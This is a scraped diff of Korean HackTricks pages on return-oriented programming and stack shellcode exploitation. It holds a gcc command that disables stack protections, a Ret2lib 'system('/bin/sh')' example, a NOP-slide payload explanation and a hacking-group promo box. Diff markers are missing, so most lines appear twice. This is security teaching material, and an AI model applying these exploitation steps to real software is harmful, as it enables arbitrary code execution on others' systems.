* [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
## ROP 기반 기술
ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 주목하세요. ROP를 기반으로 많은 Ret2XXX 기술이 개발되었습니다:
ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 유의하십시오. ROP를 기반으로 한 많은 Ret2XXX 기술이 개발되었습니다:
* **Ret2lib**: ROP를 사용하여 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출합니다 (일반적으로 `system('/bin/sh')`와 같은 것).
* **Ret2lib**: 로드된 라이브러리에서 임의의 매개변수로 임의의 함수를 호출하기 위해 ROP를 사용합니다 (일반적으로 `system('/bin/sh')`와 같은 것).
{% content-ref url="ret2lib/" %}
[ret2lib](ret2lib/)
@ -170,7 +170,7 @@ ROP는 임의의 코드를 실행하기 위한 기술일 뿐임을 주목하세
[rop-syscall-execv.md](rop-syscall-execv.md)
{% endcontent-ref %}
* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다 (물론 EIP를 제어하는 것도 필요합니다).
* **EBP2Ret 및 EBP Chaining**: 첫 번째는 EIP 대신 EBP를 악용하여 흐름을 제어하고, 두 번째는 Ret2lib 유사하지만 이 경우 흐름은 주로 EBP 주소로 제어됩니다 (물론 EIP를 제어하는 것도 필요합니다).
{% content-ref url="ebp2ret-ebp-chaining.md" %}
[ebp2ret-ebp-chaining.md](ebp2ret-ebp-chaining.md)

View file

@ -6,17 +6,17 @@
HackTricks를 지원하는 다른 방법:
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f)에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** 트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 PR을 제출하여** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
</details>
## 기본 정보
**스택 쉘코드**는 이진 해킹에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 쉘코드를 작성한 다음 **명령어 포인터 (IP)** 또는 **확장된 명령어 포인터 (EIP)**를 이 쉘코드의 위치를 가리키도록 수정하여 실행시키는 입니다. 이는 무단 액세스를 얻거나 대상 시스템에서 임의의 명령을 실행하는 데 사용되는 고전적인 방법입니다. 여기에는 간단한 C 예제와 **pwntools**를 사용하여 해당 취약점을 이용하는 방법을 설명합니다.
**스택 쉘코드**는 이진 해킹에서 사용되는 기술로, 공격자가 취약한 프로그램의 스택에 쉘코드를 작성한 다음 **명령어 포인터 (IP)** 또는 **확장된 명령어 포인터 (EIP)**를 이 쉘코드의 위치를 가리키도록 수정하여 실행시키는 기법입니다. 이는 무단 액세스를 얻거나 대상 시스템에서 임의의 명령을 실행하는 데 사용되는 고전적인 방법입니다. 여기에는 간단한 C 예제와 **pwntools**를 사용하여 해당 취약점을 이용하는 방법이 포함되어 있습니다.
### C 예제: 취약한 프로그램
@ -45,8 +45,8 @@ return 0;
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
* `-fno-stack-protector`: 스택 보호 기능을 비활성화합니다.
* `-z execstack`: 스택을 실행 가능하게 만들어줍니다. 이는 스택에 저장된 코드를 실행하는 데 필요합니다.
* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 코드가 위치할 메모리 주소를 예측하기 쉽게 합니다.
* `-z execstack`: 스택을 실행 가능하게 만들어줍니다. 이는 스택에 저장된 코드를 실행하는 데 필요합니다.
* `-no-pie`: 위치 독립 실행 파일을 비활성화하여 코드가 위치할 메모리 주소를 예측하기 쉽게 합니다.
* `-m32`: 프로그램을 32비트 실행 파일로 컴파일합니다. 종종 exploit 개발의 간편함을 위해 사용됩니다.
### Pwntools를 사용한 Python Exploit
@ -80,13 +80,13 @@ p.interactive()
```
이 스크립트는 **NOP 슬라이드**, **쉘코드**, 그리고 **EIP**를 NOP 슬라이드를 가리키는 주소로 덮어쓰면서 쉘코드가 실행되도록 페이로드를 구성합니다.
**NOP 슬라이드** (`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이"될 가능성을 높이기 위해 사용됩니다. `p32()` 인자를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하여 NOP 슬라이드에 착지할 수 있습니다.
**NOP 슬라이드** (`asm('nop')`)는 실행이 정확한 주소에 관계없이 쉘코드로 "슬라이"될 가능성을 높이기 위해 사용됩니다. `p32()` 인자를 버퍼의 시작 주소에 오프셋을 더한 값으로 조정하세요.
## 보호 기능
* [**ASLR**](../common-binary-protections/aslr.md)은 실행마다 신뢰할 수 있는 주소를 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 동일하지 않으며, 이를 알아내기 위해 어딘가에서 유출이 필요합니다.
* [**스택 카나리**](../common-binary-protections/stack-canaries.md)도 비활성화되어야 합니다. 그렇지 않으면 침해된 EIP 반환 주소가 결코 따라가지 않을 것입니다.
* [**NX**](../common-binary-protections/no-exec-nx.md) **스택** 보호는 스택 내부의 쉘코드 실행을 방지할 것입니다. 왜냐하면 해당 영역은 실행할 수 없기 때문입니다.
* [**ASLR**](../common-binary-protections-and-bypasses/aslr/)은 실행마다 신뢰할 수 있는 주소를 위해 **비활성화**되어야 합니다. 그렇지 않으면 함수가 저장될 주소가 항상 동일하지 않을 수 있고 이길 함수가 로드된 위치를 알아내기 위해 일부 정보 누출이 필요할 수 있습니다.
* [**스택 카나리**](../common-binary-protections-and-bypasses/stack-canaries/)도 비활성화되어야 합니다. 그렇지 않으면 침해된 EIP 반환 주소가 결코 따라가지 않을 수 있습니다.
* [**NX**](../common-binary-protections-and-bypasses/no-exec-nx.md) **스택** 보호는 스택 내부의 쉘코드 실행을 방지할 수 있습니다. 해당 영역은 실행할 수 없기 때문입니다.
## 다른 예시